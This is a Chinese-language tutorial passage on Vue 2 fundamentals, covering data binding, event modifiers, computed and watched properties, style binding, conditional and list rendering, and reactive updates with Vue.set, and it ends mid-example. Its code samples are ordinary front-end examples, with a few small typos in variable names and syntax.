Vue_2 -- 基础语法

1. 快速入门

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app">
    <h1>Hello {{title}}</h1>
    <h2>{{name}}</h2>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false  // 阻止 Vue 在启动时生成环境检测提示

    // 创建 Vue 实例,Vue实例和容器必须是一对一的关系
    const vue = new Vue({
        el: '#app',   // 指定当前Vue实例绑定哪个标签
        data: {      // 数据存储容器,供前面指定的el区域来使用
            title: "World",
            name: "你好,世界"
        }
    })

</script>
</body>
</html>

2. 标签绑定

1. 方式一

// 创建 Vue 实例的同时绑定标签
const vue = new Vue({
    el: '#app',   
    data: {      
        title: "World",
        name: "你好,世界"
    }
})

2. 方式二

// 创建 Vue 实例
const vue = new Vue({
    data: {      
        name: "你好,世界"
    }
})

// 手动挂载
v.$mount("#app")

3. data声明

1. 方式一

// 创建 Vue 实例的同时声明data
const vue = new Vue({
    el: '#app',   
    data: {      
        name: "你好,世界"
    }
})

2. 方式二

// 创建 Vue 实例
const vue = new Vue({
    el: '#app',  
    data(){
        return{
            name:"你好,世界"
        }
    }
})

4. 插值语法

1. 变量取值

<h1> {{title}} </h1>

2. 函数调用

<h1> {{getTitle()}} </h1>

5. 数据绑定

1. v-bind(单向绑定)

<a v-bind:href="url">百度</a>

<script type="text/javascript">
    const vue = new Vue({
        el: '#app',   // 指定当前Vue实例绑定哪个标签
        data: {      // 数据存储容器,供前面指定的el区域来使用
            url:"http://www.baidu.com",
        }
    })
</script>

简写形式

<a :href="url">百度</a>

<script type="text/javascript">
    const vue = new Vue({
        el: '#app',   // 指定当前Vue实例绑定哪个标签
        data: {      // 数据存储容器,供前面指定的el区域来使用
            url:"http://www.baidu.com",
        }
    })
</script>

2. v-model(双向绑定)

2.1 语法

只能用于表单类型元素(有value值的元素),必须有输入或选择框

<div id="app">
    <div>
        <span>双向绑定:</span><input type="text" v-model:value="data">
    </div>
    <div>{{data}}</div>
</div>



<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            data: "1234"
        }
    })
</script>

简写形式

<div id="app">
    <div>
        <span>双向绑定:</span><input type="text" v-model="data">
    </div>
    <div>{{data}}</div>
</div>



<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            data: "1234"
        }
    })
</script>

2.2 常用修饰符

1. 转成数值类型

vue对于用户的输入会被转成数值类型,如果输入的内容值有字符则不会再转换后面的字符,通常同时配合着input的type=nubmer 禁止用户输入除数字外的字符,如下

<input type="number" id="password" v-model.number="password">

2. 惰性收集

vue对于用户的输入会在表掐失去焦点的一瞬间收集全部输入,如下对于多行输入并不需要输入一个字符就收集一个字符

<textarea name="others" id="" cols="30" rows="10" v-model.lazy="others"></textarea>

3. 去掉前后空格

<textarea name="others" id="" cols="30" rows="10" v-model.trim="others"></textarea>

3. 数据代理技术

通过一个对象代理另一个对象中属性的读写操作就是数据代理

3.1 Object.defineProperty

1. 设置属性

这样设置的属性age,不可被枚举(循环)

<script>
    let person = {
        name: "张三",
        sex: "男",
    }

    // 给对象设置属性,如果想要这个属性可被枚举,必须设置 enumerable: true,
    Object.defineProperty(person, 'age', {
        value: 18,
    })
    console.log(Object.keys(person))
</script>

2. 设置属性可迭代

如果想要这个属性可被枚举,必须设置 enumerable: true

<script>
    let person = {
        name: "张三",
        sex: "男",
    }

    Object.defineProperty(person, 'age', {
        value: 18,
        enumerable: true,  // 设置属性可迭代
    })
    console.log(Object.keys(person))
</script>

3. 设置属性可修改

<script>
    let person = {
        name: "张三",
        sex: "男",
    }
    
    Object.defineProperty(person, 'age', {
        value: 18,
        writable: true,		// 设置属性可修改
    })
    console.log(Object.keys(person))
</script>

3. 设置属性可删除

<script>
    let person = {
        name: "张三",
        sex: "男",
    }
    
    Object.defineProperty(person, 'age', {
        value: 18,
        configurable: true,		// 设置属性可删除
    })
    console.log(Object.keys(person))
</script>

4. get()

<script>
    let person = {
        name: "张三",
        sex: "男",
    }

    let number = 18
    
    // 为保证person的age值跟随者number的改变而同时改变,需要用到以下函数
    Object.defineProperty(person, 'age', {
        get(){  // 当读取person的age属性时,get函数就会被调用,此函数的返回值为age 的值
            return number
        }
    })
    console.log(person)
    number = 19
    console.log(person)
</script>

5. set()

<script>
    let person = {
        name: "张三",
        sex: "男",
    }

    let number = 18
    
    Object.defineProperty(person, 'age', {
        set(value){  // 当修改person的age属性时,set函数就会被调用,此函数的返回值为age 的值
            number = value
        }
    })
    console.log(number)
    person.age = 19
    console.log(number)
</script>

6. 示例

<script>
    let obj = {x:100}
    let obj2 = {x:200}
    
    Object.defineProperty(obj2,'x',{
        get(){
            return obj.x
        },
        set(value){
            obj.x = value
        }
    })
</script>

4. Vue中对数据代理的应用

Vue将data对象中的每个属性进行代理,并保存到在自身的_data属性中

Vue的数据代理

总结

1. Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
2. Vue中数据代理的好处: 更加方便的操作data中的数据
3. 基本原理:
	a. 通过Object.defineProperty()把data对象中所有属性添加到vm上
	b. 为每一个添加到vm上的属性,都指定一个getter/setter
	c. 在getter/setter内部取操作(读/写) data中对应的属性

5. _data的数据劫持技术

6. 事件

1. v-on

<button v-on:click="changeInfo">修改提示词</button>

简写形式

<button @click="changeInfo">修改提示词</button>

2. 点击事件

2.1 绑定点击事件

<div id="app">
    <h1>欢迎来到{{name}}</h1>
    <button @click="changeInfo">修改提示词</button>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(event) {
                console.log(event)    		// 事件对象
                console.log(event.target)   // 事件标签元素
                console.log(event.target.innerText)   // 标签元素的内容
                this.name = "水上人间"   // this为Vue的实例对象
            }
            
            // 箭头函数定义的函数是没有自己的this的,会往外层直接找到window
            changeInfo2:(event)=>{
                this.name  // this为Window的实例对象,window对象是没有name属性的,所以此处会报错
            }
        }
    })

</script>

2.2 参数传递

<div id="app">
    <h1>欢迎来到{{name}}</h1>
    <!-- 函数名直接传参,如果想在函数内部调到event,必须传递关键字参数 $event -->
    <button @click="changeInfo($event,1)">修改提示词</button>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(event,sid) {
                console.log(event)
                console.log(sid)
            }
        }
    })

</script>

3. 事件修饰符

3.1 prevent -- 阻止标签默认行为

如,阻止a标签的跳转行为

1. js阻止标签默认行为

<div id="app">
    <a href="https://www.baidu.com" @click="changeInfo">弹出信息</a>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                e.preventDefault()  // 阻止a标签的跳转行为
                alert(name)
            }
        }
    })

</script>

3. Vue阻止标签默认行为

<div id="app">
    <!-- click.prevent 来阻止默认行为 -->
    <a href="https://www.baidu.com" @click.prevent="changeInfo">弹出信息</a>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                alert(name)
            }
        }
    })

</script>

3.2 stop -- 阻止事件冒泡

1. js阻止事件冒泡

<div id="app">
    <!-- 子元素和父元素有相同的点击事件,点击子元素的同时,默认会触发同名事件,这就是事件冒泡,这里点击事件会被执行两次 -->
   <div @click="changeInfo">
       <!-- 修饰符可以连续写多个 -->
       <button  @click.stop="changeInfo">弹框</button>
   </div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                e.stopPropagation()  // 阻止时间冒泡
                alert(name)
            }
        }
    })

</script>

3. Vue阻止事件冒泡

<div id="app">
   <div @click="changeInfo">
       <button  @click.stop="changeInfo">弹框</button>
   </div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                alert(name)
            },
        }
    })

</script>

3.3 once -- 事件只触发一次

1. js事件只触发一次

<div id="app">
    <!-- 子元素和父元素有相同的点击事件,点击子元素的同时,默认会触发同名事件,这就是事件冒泡,这里点击事件会被执行两次 -->
    <div class="demo1" @click="changeInfo">
        <button @click="changeInfo">弹出信息</button>
    </div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                e.stopPropagation()  // 阻止时间冒泡
                alert(name)
            }
        }
    })

</script>

3. Vue事件只触发一次

<div id="app">
    <button @click.once="changeInfo">弹出信息</button>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                alert(name)
            }
        }
    })

</script>

3.4 captrue

由于事件是由捕获阶段到冒泡阶段的,此方法是强制事件只使用捕获模式

<div id="app">
    <!-- 外层标签加capture -->
   <div style="background-color: skyblue;padding: 20px" @click.capture="sendMsg(1)">
       div1
       <div style="background-color:orange;padding: 20px" @click="sendMsg(2)">
           div2
       </div>
   </div>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                alert(name)
            },
            sendMsg(msg){
                console.log(msg)
            }
        }
    })

</script>

3.5 self -- 也可以阻止事件冒泡

只有event.target是当前操作的元素才触发事件

<div id="app">
   <div @click.self="changeInfo">
       <button  @click.stop="changeInfo">弹框</button>
   </div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            changeInfo(e) {
                console.log(e.target)
                alert(name)
            }
        }
    })

</script>

3.6 passive

事件的默认行为立即执行,无需等待事件回调执行完毕

鼠标滚轮滚动事件wheel,会先将事件函数执行完毕后,再执行滚动栏的滚动行为,当事件函数需要执行流程很复杂时,会出现鼠标滚轮滚动了,但是滚动栏没动的情况,这里使用passive,则会先执行滚动条滚动,后台默默执行函数

<div id="app">
    <ul style="height: 400px;width: 400px;background-color: orange;overflow: auto" @wheel="printMsg">
        <li style="height: 200px">1</li>
        <li style="height: 200px">2</li>
        <li style="height: 200px">3</li>
        <li style="height: 200px">4</li>
    </ul>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            printMsg() {
                for (let i = 0; i < 100000; i++) {
                    console.log("@")
                }
                console.log("执行完毕")
            },
        }
    })

</script>

4. 滚动事件

4.1 scroll

滚动条绑定滚动事件,如果滚动条到底,则不再会触发

<div id="app">
    <ul style="height: 400px;width: 400px;background-color: orange;overflow: auto" @scroll="printMsg">
        <li style="height: 200px">1</li>
        <li style="height: 200px">2</li>
        <li style="height: 200px">3</li>
        <li style="height: 200px">4</li>
    </ul>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            printMsg() {
                console.log("@")
            },
        }
    })

</script>

4.2 wheel

鼠标滚轮绑定滚动事件,滚轮一直动会一直触发,不受制于滚动条是否到底

<div id="app">
    <ul style="height: 400px;width: 400px;background-color: orange;overflow: auto" @wheel="printMsg">
        <li style="height: 200px">1</li>
        <li style="height: 200px">2</li>
        <li style="height: 200px">3</li>
        <li style="height: 200px">4</li>
    </ul>
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
            name: "天上人间"
        },
        methods: {
            printMsg() {
                console.log("@")
            },
        }
    })

</script>

5. 键盘事件

5.1 keyup

键盘抬起时触发的事件

5.2 keydown

键盘按下时触发的事件

<div id="app">
    <input type="text" placeholder="按下回车弹出输入内容" @keyup="printMsg">
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
        },
        methods: {
            printMsg(e) {
                if(e.keyCode !== 13) return
                alert(e.target.value)
            },
        }
    })

</script>

5.3 按键别名

回车  => enter
删除  => delete (捕获"Delete"和"Backspace"键)
退出  => esc
空格  => space
换行  => tab  (必须使用keydown绑定事件,才能正常使用,同时还有ctrl,alt.shift,meta(win键))
上  => up
下  => down
左  => left
右  => right

使用按键别名,监听回车键

<div id="app">
    <input type="text" placeholder="按下回车弹出输入内容" @keyup.enter="printMsg">
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
        },
        methods: {
            printMsg(e) {
                alert(e.target.value)
            },
        }
    })

</script>

5.4 其他按键

<div id="app">
    <input type="text" placeholder="按下回车弹出输入内容" @keyup.caps-lock="printMsg">
</div>
<body>
<script>
    new Vue({
        el: "#app",
        data: {
        },
        methods: {
            printMsg(e) {
                console.log(e.key,e.keyCode)  // 键的名字,键的编码,得到键的名字则可以直接调用,但要注意驼峰体的按键是两个单词的拼接,如键盘上切换大小写的键: CapsLock 转换为 caps-lock,其他同理
            },
        }
    })

</script>

5.5 特殊按键

1. 换行  => tab  (必须使用keydown绑定事件,才能正常使用)
2. 系统修饰键: ctrl,alt.shift,meta(win键)
	a. 配合keyup使用时,必须是按下系统修饰键的同时再按下其他键,随后释放其他键,事件才会被触发,@keyup.ctrl.y 就是 ctrl + y
	b. 配置keydown使用,正常触发事件

5.6 自定义别名

<script>
    Vue.config.keyCodes.huiche = 13
</script>

6. 事件分类

  1. 以上的都是内置事件,是给html标签使用的
  2. 脚手架编程中有自定义事件,是给组件用的

7. 计算属性

将Vue中定义的属性,重新计算后得到一个新的属性,此为计算属性,底层借助了Object.definepropeerty方法提供的getter和setter

<div id="app">
    姓: <input type="text" name="" v-model="firstName"><br>
    名: <input type="text" name="" v-model="lastName"><br>
    全名: <span>{{fullName}}</span>
</div>

<script type="text/javascript">

    const vue = new Vue({
        el: '#app',
        data: {
            firstName: "张",
            lastName: "三"
        },
        computed: {
            fullName:{
                get(){   // get() 当调用 fullName 时得到计算完成后的属性
                    // get() 什么时候调用
                        // 1. 整体模板第一次调用fullName 时,并将结果缓存起来,页面中其他地方读取都是缓存
                        // 2. fullName 所依赖的数据发生变化时,如firstName 或lastName 发生变化时就会重新执行get()
                    return this.firstName + "-" + this.lastName
                },
                
                // 不是必须定义的,如果很确定这个fullName不会被修改,则无需定义set(),
                // fullName 发生变化时会调用set()
                set(value){
                    const arr = value.split("-")
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
        }
    })


</script>

简写形式,确定计算属性只读不改

<div id="app">
    姓: <input type="text" name="" v-model="firstName"><br>
    名: <input type="text" name="" v-model="lastName"><br>
    全名: <span>{{fullName}}</span>
</div>

<script type="text/javascript">

    const vue = new Vue({
        el: '#app',
        data: {
            firstName: "张",
            lastName: "三"
        },
        computed: {
            fullName(){
                return this.firstName + "-" + this.lastName
            }
        }
    })


</script>

8. 侦听属性(监视属性)

监视数据的变化

1. 定义侦听属性

<div id="app">
    <div>今天天气很{{info}}</div>
    <button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            isHot: true
        },
        computed: {
            info(){
                return this.isHot ? "炎热" : "凉爽"
            }
        },
        methods:{
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{   // 监视属性
            isHot:{
                immediate:true, // 初始化时,调用handler,默认为false
                handler(newValue,oldValue){  // 当isHot发生改变时自动执行handler函数,同时保存着之前的值
                    console.log("改变后的值",newValue,"改变前的值",oldValue)
                }
            },
            info:{   // 也可以监视计算属性
                immediate:true, // 初始化时,就先调用一次handler,默认为false
                handler(newValue,oldValue){  // 当info发生改变时自动执行handler函数,同时保存着之前的值
                    console.log("改变后的值",newValue,"改变前的值",oldValue)
                }
            }
        }
    })


</script>

方式二

<div id="app">
    <div>今天天气很{{info}}</div>
    <button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            isHot: true
        },
        computed: {
            info(){
                return this.isHot ? "炎热" : "凉爽"
            }
        },
        methods:{
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
    })
    
    vm.$watch('isHot',{
        immediate:true,
        handler(newValue,oldValue){
            console.log("改变后的值",newValue,"改变前的值",oldValue)
        }
    })


</script>

2. 深度侦听

只监视numbers中的a的改变

<div id="app">
    <div>a:{{numbers.a}}   b:{{numbers.b}}</div>
    <button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            numbers: {
                a:1,
                b:2
            }
        },
        methods:{
            changeNumber(){
                this.numbers.a++
            }
        },
        watch:{   // 监视属性
            a:{   // a是被包裹在numbers中的,这样写是无法监视到a的
                handler(newValue,oldValue){
                    console.log("改变后的值",newValue,"改变前的值",oldValue)
                }
            },
            'numbers.a':{  // 监视 numbers.a
                handler(newValue,oldValue){
                    console.log("改变后的值",newValue,"改变前的值",oldValue)
                }
            }
        }
    })


</script>

监视numbers中的任何项发生改变

<div id="app">
    <div>a:{{numbers.a}}   b:{{numbers.b}}</div>
    <button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            numbers: {
                a:1,
                b:2
            }
        },
        methods:{
            changeNumber(){
                this.numbers.a++
            }
        },
        watch:{   // 监视属性
            numbers:{
                deep:true,  // 监视numbers中的任何项发生改变
                handler(newValue,oldValue){
                    console.log("改变后的值",newValue,"改变前的值",oldValue)
                }
            }
        }
    })


</script>

3. 侦听属性简写

只监视第一层属性的变化

div id="app">
    <div>a:{{a}}</div>
    <button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            a:1,
        },
        methods:{
            changeNumber(){
                this.a++
            }
        },
        watch:{
            a(newValue,oldValue){  // 注意参数
                console.log("改变后的值",newValue,"改变前的值",oldValue)
            }
        }
    })


</script>
<div id="app">
    <div>a:{{a}}</div>
    <button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            a: 1,
        },
        methods: {
            changeNumber() {
                this.a++
            }
        },
    })
    vue.$watch('a', function (newValue,oldValue) {   // 注意参数
        console.log("改变后的值", newValue, "改变前的值", oldValue)
    })

</script>

4. 侦听属性实现计算属性中的案例

<div id="app">
    姓: <input type="text" v-model="firstName"> <br>
    姓: <input type="text" v-model="lastName"> <br>
    全名: <span>{{fullName}}</span>
</div>


<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            firstName: "张",
            lastName: "三",
            fullName: "张-三"
        },
        watch: {
            firstName(val) {
                this.fullName = val + "-" + this.lastName
            },
            lastName(val) {
                this.fullName = this.firstName + "-" + val

            }
        }
    })


</script>

5. 异步任务,只能用侦听属性实现

<div id="app">
    姓: <input type="text" v-model="firstName"> <br>
    姓: <input type="text" v-model="lastName"> <br>
    全名: <span>{{fullName}}</span>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            firstName: "张",
            lastName: "三",
            fullName: "张-三"
        },
        watch: {
            firstName(val) {
                setTimeout(()=>{   // 定时器为异步任务,延迟1秒再修改全名
                    this.fullName = val + "-" + this.lastName
                },1000)
            },
            lastName(val) {
                this.fullName = this.firstName + "-" + val

            }
        }
    })


</script>

6. 侦听路由变化

<script>
    const vue = new Vue({
        watch: {
		 '$route'(to, from) {
			console.log('Route changed from', from.path, 'to', to.path);
			this.timer && clearTimeout(this.timer);
			this.timer = null;
			this.dataList = []
		  }
		},
    })
	
</script>

9. 样式绑定

1. class样式

1.1 字符串形式

<style>
    .basic {
        width: 100%;
        height: 400px;
    }

    .normal {
        background-color: skyblue;
    }

    .happy {
        background-color: orange;
    }

    .sad {
        background-color: green;
    }
</style>


<div id="app">
    <!-- 对于不会动态变化的class值 正常定义,对于动态变化的class 值,使用v-bind 管理,适用于样式的类名不确定,需要动态指定-->
    <div class="basic" :class="mood" @click="changeMood">test</div>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            mood: "normal"
        },
        methods: {
            changeMood() {
                this.mood = "happy"
            }
        }
    })

</script>

1.2 数组形式

<style>
    .basic {
        width: 100%;
        height: 400px;
        border: 1px solid black;
    }

    .c1 {
        font-size: 100px;
    }

    .c2 {
        border-radius: 90px;
    }
    .c3 {
        color: orange;
    }
</style>

<div id="app">
    <!-- 操作数组中的class类型,来动态修改样式 -->
    <div class="basic" :class="classArr" @click="deleteClass">test</div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            classArr: ["c1","c2","c3"]
        },
        methods: {
            deleteClass() {
                this.classArr.shift()
                // this.classArr.push("c1")
            }
        }
    })

</script>

1.3 对象形式

<style>
    .basic {
        width: 100%;
        height: 400px;
        border: 1px solid black;
    }

    .c1 {
        font-size: 100px;
    }

    .c2 {
        border-radius: 90px;
    }
</style>


<div id="app">
    <!-- 对于不会动态变化的class值 正常定义,对于动态变化的class 值,使用v-bind 管理 -->
    <div class="basic" :class="classObj" @click="deleteClass">test</div>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            classObj: {
                c1: false,
                c2: false
            }
        },
        methods: {
            deleteClass() {
                this.classObj.c1 = !this.classObj.c1
                this.classObj.c2 = !this.classObj.c2
            }
        }
    })

</script>

2. style样式

写法一

<div id="app">
    <!-- 改为对象形式 font-size 改为 fontSize  并和px拼接-->
    <div :style="{fontSize: fSize + 'px'}" @click="changeClass">test</div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            fSize:40
        },
        methods: {
            changeClass(){
                this.fSize += 10
            }
        }
    })

</script>

写法二

<div id="app">
    <!-- font-size 改为 fontSize  px拼接-->
    <div :style="fontObj" @click="changeClass">test</div>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            fontObj: {
                fontSize: '40px'
            }
        },
        methods: {
            changeClass() {
                this.fontObj.fontSize = "100px"
            }
        }
    })

</script>

10. 条件语句

1. v-show

如果v-show 后面的表达式为false,会将当前标签用display:none隐藏,并不会删除标签,如果节点变化的比较频繁就使用v-show

<div id="app">
    <button @click="changeShow">显示test2</button>
    <div>test1</div>
    <div v-show="isShow">test2</div>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            isShow: false,
        },
        methods: {
            changeShow() {
                this.isShow = !this.isShow
            }
        }
    })

</script>

2. v-if

v-if

v-if 不满足条件是没有标签节点的

<div id="app">
    <button @click="changeShow">显示test2</button>
    <div>test1</div>
    <div v-if="isShow">test2</div>
    <div v-else-if="!isShow">test3</div>
     <div v-else>test4</div>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            isShow: false,
        },
        methods: {
            changeShow() {
                this.isShow = !this.isShow
            }
        }
    })

</script>

11. 循环语句

1. 遍历数组

<div id="app">
    <ul>
        <!-- 注意必须要写key值,v为索引值,括号最好写上 -->
        <li v-for="(p,v) in persons" :key="p.id">索引{{v}}-{{p.name}}-{{p.age}}</li>
    </ul>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            persons:[
                {id:1,name:'小明',age:18},
                {id:2,name:'小红',age:19},
                {id:3,name:'小白',age:20},
            ]
        },
    })

</script>

2. 遍历对象

<div id="app">
    <ul>
        <li v-for="v,k in persons" :key="k">{{k}}-{{v}}</li>
    </ul>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            persons:{id:1,name:'小明',age:18},
        },
    })

</script>

3. 遍历字符串

<div id="app">
    <ul>
        <li v-for="i,v in persons" :key="i">{{i}}-{{v}}</li>
    </ul>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            persons:"jlkajdsf",
        },
    })
</script>

4. 遍历次数

<div id="app">
    <ul>
        <li v-for="n,v in 5">序号{{n}}-索引{{v}}</li>
    </ul>
</div>

<script>
    new Vue({
        el: "#app",
    })
</script>

5. key 的原理

key是vue在内部使用的并不会在标签上显示

1. 使用index时,且会在数组索引为0的位置安插数据时,破坏了之前数组的顺序,就会出现的标签错乱的bug,同时这样做的效果是很低的,不会复用之前的DOM,在末尾添加数据,并未破坏原本的数据不会出现这个bug,必须要换成后端获取的id字段这种唯一的ID才不会出现这个bug

<div id="app">
    <ul>
        <li v-for="(p,index) in persons" :key="index">
            {{p.name}}-{{p.age}}
            <input type="text">
        </li>
    </ul>
    <button @click.once="add">添加一个人员</button>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            persons: [
                {id: 1, name: "张三", age: 18},
                {id: 2, name: "李四", age: 19},
                {id: 3, name: "王五", age: 20},
            ]
        },
        methods:{
            add(){
                const onePerson = {id:4,name:"赵六",age:21}
                this.persons.unshift(onePerson)
            }
        }
    })

</script>

当所有的input框写入内容后,再点击添加人员时会出现标签结构问题:如下

点击添加人员后

2. key的作用

Index为key时

当循环列表时,会根据初始数据生成虚拟DOM,如上图中,然后再根据虚拟DOM转成真实DOM,用户在Input框中的输入是在操作真实DOM,当有新数据插入在列表的首位时,数据发生了变化,同样根据新数据生成虚拟DOM,然后根据虚拟DOM对比算法来进行比对,比对的根据就是key这个值,如上图,会循环对比两边的虚拟DOM,如:左右两边的key=0的这一行的标签中的文字节点是不一样的,并不能复用,所以当由虚拟DOM转成真实DOM时,会生成老刘-30替换之前的文本节点,而input框在虚拟DOM中对比结果为一致的,则会复用之前携带用户输入数据的节点,以此类推

ID为key时

3. 开发中如何选择key

1. 最好使用每条数据的唯一标识作为key,如id,手机号,身份证号,学号等唯一值
2. 如果不存在对数据的逆序添加,逆序删除等破坏顺讯操作,仅用于渲染列表用于展示,使用index作为key是没有问题的

12. 数组渲染

1. 数组遍历

<div id="app">
    <ul>
        <!-- 注意必须要写key值,v为索引值,括号最好写上 -->
        <li v-for="(p,v) in persons" :key="p.id">索引{{v}}-{{p.name}}-{{p.age}}</li>
    </ul>
</div>


<script>
    new Vue({
        el: "#app",
        data: {
            persons:[
                {id:1,name:'小明',age:18},
                {id:2,name:'小红',age:19},
                {id:3,name:'小白',age:20},
            ]
        },
    })

</script>

2. 数组过滤

1. 使用侦听属性实现

<div id="app">
    <h1>数组过滤</h1>
    <input type="text" placeholder="请输入文字" v-model="keyWord">
    <ul v-if="filPersons">
        <li v-for="(p,index) in filPersons" :key="index">
            {{p.name}}-{{p.age}}
        </li>
    </ul>

</div>
<script>
    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            persons: [
                {id: 1, name: "张三", age: 18},
                {id: 2, name: "李四", age: 19},
                {id: 3, name: "王五", age: 20},
            ],
            filPersons: []
        },
        watch: {
            keyWord: {
                // immediate:true 初始化时,先调用一次handler
                immediate:true,   // 由于字符串中都会包含空字符串,当indexOf(空字符串)时,this.filPersons筛选出来的结果为persons数组的每一个元素
                handler(val) {
                    this.filPersons = this.persons.filter((p) => {
                        return p.name.indexOf(val) !== -1
                    })
                }
            }
        }
    })

</script>

2. 使用计算属性实现

<div id="app">
    <h1>数组过滤</h1>
    <input type="text" placeholder="请输入文字" v-model="keyWord">
    <ul>
        <li v-for="(p,index) in filPersons" :key="index">
            {{p.name}}-{{p.age}}
        </li>
    </ul>

</div>
<script>

    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            persons: [
                {id: 1, name: "张三", age: 18},
                {id: 2, name: "李四", age: 19},
                {id: 3, name: "王五", age: 20},
            ],
        },
        computed: {
            filPersons(){
                return this.filPersons = this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1
                })
            }
        }
    })
</script>

3. 数组过滤后排序

<div id="app">
    <h1>数组过滤+排序</h1>
    <input type="text" placeholder="请输入文字" v-model="keyWord">
    <ul>
        <li v-for="(p,index) in filPersons" :key="index">
            {{p.name}}-{{p.age}}
        </li>
    </ul>
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>

</div>
<script>

    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            persons: [
                {id: 1, name: "马冬梅", age: 18},
                {id: 2, name: "周冬雨", age: 19},
                {id: 3, name: "周杰伦", age: 40},
                {id: 4, name: "王兆伦", age: 25},
            ],
        },
        computed: {
            filPersons() {
                const filteredArr = this.filPersons = this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1
                })
                if (this.sortType) {
                    filteredArr.sort((p1, p2) => {
                        return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
                    })

                }
                return filteredArr
            }
        }
    })
</script>

13. 数据操作

1. 初始化完成后再给对象设置属性

1.一开始就定义好sex为空字符串,就会被Vue给管理,从而做响应式,但是这个不是初始化完成后再设置属性

<div id="app">
    <h1>更新时的问题</h1>
    <ul>
        <li v-for="(p,index) in persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul>
    <button @click="addAttr">添加性别到马冬梅</button>

</div>
<script>

    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            // 一开始就定义好sex为空字符串,就会被Vue给管理,从而做响应式
            persons1:{
                id: 1, 
                name: "马冬梅", 
                age: 18, 
                sex: ""
            }
        },
        methods: {
            addAttr() {
                this.persons1.sex = "男"
            }
        }
    })
</script>

2. 通过Vue.set()来添加属性,但是不能再data对象中添加属性,只能在其子对象中添加属性

<div id="app">
    <h1>更新时的问题</h1>
    <ul>
        <li v-for="(p,index) in persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul>
    <button @click="addAttr">添加性别到马冬梅</button>

</div>
<script>
    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            persons1:{
                id: 1, 
                name: "马冬梅", 
                age: 18, 
            }
        },
        methods: {
            addAttr() {
                // 通过Vue.set() 来设置属性,只能在data中的子对象添加
                Vue.set(this.persons1,"sex","男")
            }
        }
    })
</script>

3. vm.$set()

<div id="app">
    <h1>更新时的问题</h1>
    <ul>
        <li v-for="(p,index) in persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul>
    <button @click="addAttr">添加性别到马冬梅</button>

</div>
<script>
    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            persons1:{
                id: 1, 
                name: "马冬梅", 
                age: 18, 
            }
        },
        methods: {
            addAttr() {
